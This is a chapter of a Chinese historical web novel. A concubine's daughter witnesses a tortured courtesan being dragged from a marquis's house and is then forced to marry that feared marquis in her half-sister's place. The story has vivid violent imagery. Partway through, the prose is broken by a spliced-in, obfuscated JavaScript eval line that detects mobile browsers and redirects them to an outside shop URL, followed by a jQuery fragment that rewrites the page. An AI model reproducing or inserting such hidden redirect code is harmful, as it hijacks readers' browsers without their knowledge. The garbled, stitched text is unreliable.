一场突如其来的瓢泼大雨，把行人都困在了街边的茶楼里。
一楼大堂人挤着人，连转身都费劲。四面八方飘来的南腔北调混成一片嗡嗡的嘈杂，反倒听不清谁在说什么了。
沈方好坐在二楼雅间的临窗位置，拢了拢耳边碎发，要了一壶上好的西山白露。
茶香袅袅浮起，她单手支着下巴，望着窗外雨帘出神——这雨来得急，估摸着得坐上一两个时辰了。
楼梯咚咚作响，丫鬟桑枝提着裙角跑上来，喘着气道：“姑娘，一楼人挤人的，脚都没处放。我瞧那些人好像不全是避雨的，抻着脖子往一个方向瞅，像是在等什么。我寻思打听打听，结果人家让我别多问，只管看热闹。”
沈方好招手让她坐下，斟了杯茶推过去：“茶楼酒肆嘛，三教九流汇聚之地，热闹多，故事也多。既来之则安之，咱们也凑个热闹。”
话音未落，楼下忽然暴起一声喝：“快看！来了！”
人群呼啦一下涌向门口，脖子抻得像一群鹅。
沈方好被勾起了好奇心，卷起竹帘，探身往外瞧。
斜对面幽暗的巷子里，走出一行披着玄甲的人，他们中间拖着一个血淋淋的人形——真的是“拖”，像拖一只破布袋子似的。
定睛细看，是个女子。
瘦得只剩一把骨头，湿透的长发像海藻般缠在身上，衣裳早已破烂得遮不住什么，露出的肌肤密密麻麻叠着伤痕，几乎没有一块完整的皮肉。双腿诡异地扭曲着，在地上犁出两条浅痕，浓稠的血被雨水冲开，洇成一团淡红，又很快散去。
沈方好头皮一炸，手指猛地收紧，险些打翻茶盏。
茶楼小二稳稳扶住桌角，叹了口气：“第九个了。唉！”
沈方好压下狂跳的心：“那是怎么回事？”
小二冲着那条巷子扬了扬下巴：“喏，长宁侯府的后街。上个月长宁侯奉诏回京，在红袖坊一掷千金点了十二个姐儿，这才几天工夫，已经变着花样磋磨死八个了，今儿这是第九个。”
沈方好望着雨幕中那女子：“可她还活着……”
“马上就死了。”小二脸上是一派麻木，仿佛见惯了生死，还顺口劝了句，“姑娘没见过这阵仗吧？别看了，怪瘆人的，当心夜里做噩梦。”
那些玄甲人把女子往巷口一扔，转身回去了。
女子趴在泥水里，身子时不时狠狠抽搐一下。
小二下楼吆喝了一声：“快让义庄来收尸吧，造孽哟。”
有人冒雨去送信。
不多时，义庄的人赶着一架板车来了。两个披蓑衣的壮汉把那女子抬起来，往车上一扔。
女子的脖颈软软地垂下来，顺着车沿荡了荡。
隔着重重雨幕，沈方好猝不及防地对上了她的眼睛。
那双眼里已没了生气，黑沉沉一片，豆大的雨点砸进去，血泪从眼眶里滴滴答答落下来。
沈方好指尖僵硬。
桑枝呆了呆，忙伸手捂住她的眼睛：“姑娘，别看了……”
车轮碾过积水，摇摇摆摆远去。
一壶价值两贯钱的西山白露，沈方好忽然尝不出滋味了。
桑枝握着她的手，触手冰凉：“姑娘吓着了吧？”
沈方好勾了勾手指：“你不怕？”
桑枝道：“我小时候家乡闹水患，街头巷口比这还惨的，见多了就习惯了。”她顿了顿，小声嘀咕，“话说回来，也不知这些女子犯了什么错，竟要受这种折磨。”
沈方好没接话，只望着那条幽深的巷子出神。
雨停时已近黄昏。
桑枝劝她快些离开这是非之地。沈方好戴上帷帽，提着裙角下楼。经过大堂时，几句断断续续的议论飘进耳朵——
“沈家嫡女，可怜啊……”
“哪个沈家？”
“自然是光禄寺卿沈策沈大人家的。”
沈方好脚步一顿。周遭男人的汗臭味立刻糊了上来，桑枝下意识挡在她面前。
一个未出阁的年轻姑娘，实在不好在人多眼杂处逗留，她只好压下满腹狐疑，快步出了茶楼。
绣鞋一沾水便湿透了。
沈方好微微提起裙摆，低头瞧了一眼——总觉得积水上漂着一抹淡红，还透着一股挥之不去的腥气。
她皱起眉头，暗忖：沈家怎么了？
经过那条巷口时，她忍不住往里瞄了一眼。
侯府后门两只琉璃灯在风中摇晃，投下一片凌乱的影子。
回到沈府时，沈方好半条裙子都湿透了。西角门的婆子们挤在檐下躲雨，不知在嚼什么舌根，一个个眉飞色舞。
走近了，听见一半句——
“听说七姑娘的婚事定下了，就是那个……”
“嘘——哎嘿，十二姑娘回来啦！”
沈方好应了一声，面不改色地经过。
身后婆子们压低声音叽叽喳喳：“……哎哟，嫡女都能舍得出去？”
“你懂什么，那可是权势滔天的长宁侯呢……”
沈方好脚步微顿，心里咯噔一下：七姑娘？长宁侯？发生什么事了？
廊檐两侧水珠滴滴答答。
沈方好回房先烧了热水泡澡，把那股若有若无的腥气洗干净，又换了身素淡的芽黄色绫棉裙。
桑枝也洗去了一身的狼狈，喝了杯热茶压惊。
沈方好把抓回来的药递过去：“雪柳怎么样了？”
桑枝笑道：“那丫头一听说姑娘冒雨亲自给她抓药，惊得一掀被子就跳起来了，病气都去了好几分。”
沈方好也想笑，但心里像坠了块秤砣，实在笑不出来。她蹙眉道：“回来的路上灌了一耳朵闲话，咱们府上七姑娘怎么了？怎么和那长宁侯扯上关系了？”
桑枝“哦”了一声：“我也听见了，刚得空去打听了一圈。说是昨夜里皇上下了一道旨，把咱们七姑娘许配给长宁侯做正妻了。”
沈方好愕然：“这……”
桑枝叹了口气。
长宁侯姜聿，当朝最年轻的武将，世袭罔替的侯爵，在西边战场立下足以彪炳千秋的不世之功，回京后却成了人人惧怕的活阎王，那些门当户对的公侯贵女，忌惮他的凶名，没一个敢嫁他。
他只能退一步，屈就一下门第微贱之家。
沈家这倒霉催的，就被狗屎砸中了。
父亲沈策任职光禄寺卿，一介五品小官，比上不足比下有余。抛开长宁侯的品性不提，单论门第，沈家女嫁长宁侯，是妥妥的高攀。
高攀不可怕，可怕的是攀上去可能没命下来。
沈方好沉默了。
桑枝小声嘀咕：“长宁侯凶名在外，暴虐嗜血……七姑娘嫁过去有命活吗？怕是要提前预备白事了。”
沈方好一个激灵，严肃道：“休得胡说，留心祸从口出。”
桑枝赶紧捂嘴。
这天夜里，沈方好辗转反侧，难以入眠。起身烧了把安神香，才渐渐睡去。
梦里却不安稳。
她梦见自己穿上大红嫁衣，蒙着盖头，被人扶进了洞房。红烛摇曳，她坐在床沿，一杆喜称挑开盖头，面前猛地冲出一张青面獠牙的鬼脸，张开血盆大口，啊呜一口——
沈方好惊醒了，抬手一摸，满额冷汗。
守夜的桑枝听到动静进来：“姑娘被魇着了？莫不是被白日那一幕冲撞了？”
沈方好一眨眼，睫毛上竟挂着一滴水珠。她缓了口气：“没事。”
窗外不知何时又下起了雨，雨声淅淅沥沥，像织成一张网，把她困在里头，她想起那年薛姨娘咳血而亡时，外面的秋雨也是这般下个不停。
沈方好摸了摸额头，哭笑不得：“这梦，也太吓人了。”
桑枝不放心地探了探她额头。
沈方好安抚道：“我雨天一向睡不安稳，你知道的，不干旁的事。”她顿了顿，“最近多事之秋，圣旨赐了婚，府上估计有的忙了，忙就容易生乱，你和雪柳别到处乱窜，对外就说我病了，不能见人，夜里留心把门窗锁好。”
桑枝应了。
沈方好再也睡不着，干躺着听雨，脑子里乱糟糟地想了很多事。
父亲沈策子女运旺盛，一辈子勤耕不辍，生了三十多个崽。可真正嫡出的只有一子一女——四公子和七姑娘。
其他子女有的是妾生，有的是婢生，有的是奸生……总而言之，都是上不得台面的东西。
主母袁氏嫌他们碍眼，一开始就没准许他们进门，在府后围了块地建了座园子，把他们全塞进去。平日里给饭吃给钱花，养着不让他们死，其余的一概不管。
沈方好的亲娘薛氏是出身清白的良妾，是过了明路抬进门的，所以府上对她们娘俩格外厚待些，给了座单独的小院，每月按时发例银，身边也不缺伺候的人。
而那些出身更微贱的孩子只能挤在西北角一座合院里，把日子过得一地鸡毛。
沈方好翻了个身，想起一位故人。
早些年，园子里有位三姑娘不甘庸碌，想为自己搏个前程，于是跑去亲近袁氏。她在袁氏面前兢兢业业服侍了许多年，终于求得袁氏为她相看了一门亲事。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434362|200944||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可惜袁氏并无真心，给三姑娘相看的是个赌鬼鳏夫。三姑娘一个妙龄女孩嫁过去给人当续弦，还要拉扯半大继子，日子过得尤其煎熬。
沈方好早就看透了，这样的处境，容不得她去争什么。一辈子能暖衣饱食、平安喜乐，便是最好的结局了。
这些年，她秉承着混吃等死的想法，在院里种了一片菜圃，养了一缸大鲤鱼，她针线活好，会酿酒会制香……独守一方干净僻静的小院，简直是神仙日子。
——要是七姑娘别总来找茬，那就更好了。
可惜，老天爷似乎不打算让她安生。
连日的阴雨连绵，注定府上不得安宁。
圣旨赐婚第三日，夜半，沈七姑娘投井了，好在发现及时捞了上来，只是大病一场，性命无忧。
沈方好听到这个消息时，正给菜圃搭雨棚，她手上动作顿了顿，心里没多少波动。
第七日，酉时。
院门被敲得震天响。
雪柳去开门。
沈方好正绣一张喜鹊登枝的插屏，心头莫名一颤，针尖扎破了手，沁出一串血珠。
两个粗使婆子踩着积水闯进来，高声吆喝：“十二姑娘，老爷太太喊你过去呢！”
沈方好用帕子拭去指尖血迹，站起身，雪白的手腕搭在身前：“辛苦二位妈妈跑这一趟。这么晚了，是有什么要紧事？”
见她这般客气，两个婆子态度缓和了些。其中一个笑了：“老爷吩咐这话时面色并无不善，想必不是坏事。走吧。”
灯影落在积水里，摇出破碎的光。
沈方好披了衣裳，踩了木屐，桑枝回屋取了伞，提了灯，雪柳也想跟着去，沈方好在伞下回头：“你风寒未愈，别乱跑，好生守着家。”
雪柳便听话地搬了个小杌子，坐在檐下，望着她们的背影消失在萧萧雨中。
一路穿过两道角门，走了约有小半个时辰，才到袁氏的正院。
沈方好一只脚刚踏进院子，便听一阵清脆的打砸声。
嫡姐沈星妤正发脾气：“我不嫁！你们救我做什么？倒不如让我死了！”
嫡母袁氏冷静地劝：“你是圣旨许配给他的正妻，长宁侯性情是暴烈了些，但对你未必会差……”
沈星妤又砸了个什么东西，嗓音尖厉起来：“让那个贱种去嫁！她不是自诩长得像我吗？她不是成天挖空心思想要取代我吗？这一次我成全她！”
一声闷雷滚过。
沈方好左边眼角猛地一跳，攥紧了袖子。
桑枝瞬间白了脸，又气又慌：“姑娘……”
厅堂中传出一道浑沉的声音：“小十二来了？进来吧。”
沈方好将桑枝留在门外，独自跨进门槛。
父亲沈策端坐高堂，目光沉沉。
她福礼请安。
沈策：“抬起脸来。”
沈方好抬头，静静等着。
沈策凝视了她许久。
今日她穿了一身芽黄绫裙，腰身袅袅，亭亭玉立。一头乌发黑臻臻的，点缀着几簇珍珠小花。烛火昏黄，为她平添了几分柔和温婉。
沈策喃喃道：“你姨娘薛氏，当年……也是如你这般温婉可人……”
沈方好心里一阵发凉。
沈策轻拍了一下扶手，一锤定音：“十日之后，你代替星妤出嫁。”
沈方好许久没有吭声。
沈策悠悠叹了口气，像是讲条件似的：“我会给你姨娘立一个牌位，就安置在京城的五通观，长长久久享香火供奉，再将你的名字记在正房名下，也算作嫡出的女儿，此后，再没人能作践你的身份。如何？”
沈方好明白，此事由不得她不应。
父亲一向薄情，现在尚算客气，一旦她不知好歹，接下来怕是要上手段了。
倒也不必自讨苦吃。
于是她垂首，以示屈从：“一切听凭父亲做主。”
袁氏靠在门外漆柱上，听见这话，冷哼一声，甩袖而去。
紧接着，沈星妤踱进堂内，站定在沈方好面前，弯腰与她对视。
两个人，两张脸，七分相似。
风灯摇下一片交织的昏黄，两个人的影子纠缠在一起。
沈方好抬眼，对上这张与自己相似的脸，心中却出奇平静。
她忽然觉得很荒诞——平日里被七姑娘嫌弃是个“贱种”，如今倒成了救命稻草。
罢了。
嫁就嫁吧。
横竖逃不过，不如坦然受之。
人活一世，回不了头，总是要往前看的。